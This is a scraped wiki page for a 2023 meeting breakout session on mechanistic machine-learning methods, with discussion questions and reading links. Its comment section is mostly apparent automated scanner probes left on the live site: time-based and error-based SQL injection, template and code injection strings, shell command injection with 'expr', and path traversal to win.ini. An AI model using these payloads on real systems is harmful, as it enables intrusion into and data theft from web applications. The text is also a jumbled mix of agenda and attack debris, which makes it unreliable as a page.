Back to 2023 Agenda

Back to main Breakout Session page

2. New Mechanistic-ML Methods: PINN, transformer, neural operators, XAI, Large Language Models

MSM lead: George Karniadakis; IMAG lead: Mauricio Rangel-Gomez, Ilana Goldberg, Julia Berzhanskaya

What are the similarities and differences between current methods; e.g. PINN, neural operator, transformer, XAI, Large Language models?
What are the opportunities to improve these methods?
How can these methods be applied to blood diagnostics an diseases as it pertains to the IMAG interest group AI and Machine Learning for Blood Diagnostics and Diseases | Interagency Modeling and Analysis Group (nih.gov)?
How can these methods be applied to neuroscience?
How can these methods be used in the IMAG initiatives discussed in Session 2.1?
How can we use biomechanistic and bioinformatics models synenergistically?
Graph neural networks and causal inference.
Uncertainty quantification in neural networks.

Resources:

Articles of Interest:

Stop explaining black box machine learning models for high stakes decisions and use interpretable models instead

[2303.12093] ChatGPT for Programming Numerical Methods (arxiv.org)

4 Ideas for Physics-Informed Neural Networks that FAILED | by Rafael Bischof | Towards Data Science

10 Exciting Project Ideas Using Large Language Models (LLMs) for Your Portfolio | by Leonie Monigatti | May, 2023 | Towards Data Science

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

A Deep convolutional neural network for classification of red blood cells in sickle cell anemia

NIH Announcements:

NIMH » Explainable Artificial Intelligence for Decoding and Modulating Behaviorally-Activated Brain Circuits (nih.gov)

NOT-MH-23-110: Notice of Special Interest (NOSI): Explainable Artificial Intelligence for Decoding and Modulating Neural Circuit Activity Linked to Behavior (nih.gov)

May 31, 2023: NIH Pragmatic Trials Collaboratory Announces Virtual Workshop on Getting the Right Evidence to Decision-Makers Faster - Rethinking Clinical Trials

IMAG wiki: Models, Tools and Databases

MSM Theoretical and Computational Methods WG

2019 IMAG ML-MSM Meeting

Publication from 2019 ML-MSM meeting

Comment

<% response.write(268409241-72633) %>

Comment

1';expr 268409241 - 97943;'

Comment

<#assign x=268409241 - 91455>
${x?string["0"]}

Comment

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 32d66e6d-c593-483e-b32c-77969b5739f3 */

Comment

c:\windows\win.ini

Comment

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

Comment

"+netsparker(0x0A7CDB)+"

Comment

print(int)0xFFF9999-44216

Comment

1';expr 268409241 - 3136;'

Comment

<%= "#{268409241-10290}" %>

Comment

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 5db9143e-588d-4b1f-a0b1-145e1c6aa217 */

Comment

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

Comment

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

Comment

\';netsparker(0x0A7CF4);///

Comment

print(int)0xFFF9999-77086

Comment

1;expr 268409241 - 30511;x

Comment

<%= "#{268409241-25478}" %>

Comment

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* df68e500-d1e0-403c-bc5f-fd3e8c6988c6 */

Comment

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

Comment

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

Comment

',netsparker(0x0A7D60),'

Comment

print(int)0xFFF9999-73997;

Comment

1;expr 268409241 - 70880;x

Comment

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 85afdf26-5ecf-4d3d-a6bd-278037cbc19f */

Comment

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

Comment

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

Comment

netsparker(0x0A7D64)

Comment

print(int)0xFFF9999-50493;

Comment

';sleep(25000);ns();' /* d9b175ee-cb21-41f4-99f4-c3ef32fb401f */

Comment

expr 268409241 - 51030;

Comment

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 16431d86-cc96-4012-bf23-185ac1632947 */

Comment

-1'||'1'=='1

Comment

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

Comment

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

Comment

netsparker(0x0A7EA6);

Comment

+print(int)0xFFF9999-88662;//

Comment

';sleep(25000);ns();' /* 97b19867-4821-4bc0-9660-f38dab3bdc13 */

Comment

expr 268409241 - 13790;

Comment

-1'||1=='1

Comment

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* d4ea57a9-6b43-42b3-a9f0-4c4ab158d934 */

Comment

/../../../../../../../../../../windows/iis6.log

Comment

' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA

Breakout 2 - New Mechanistic-ML Methods

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

NIH Announcements:

Comment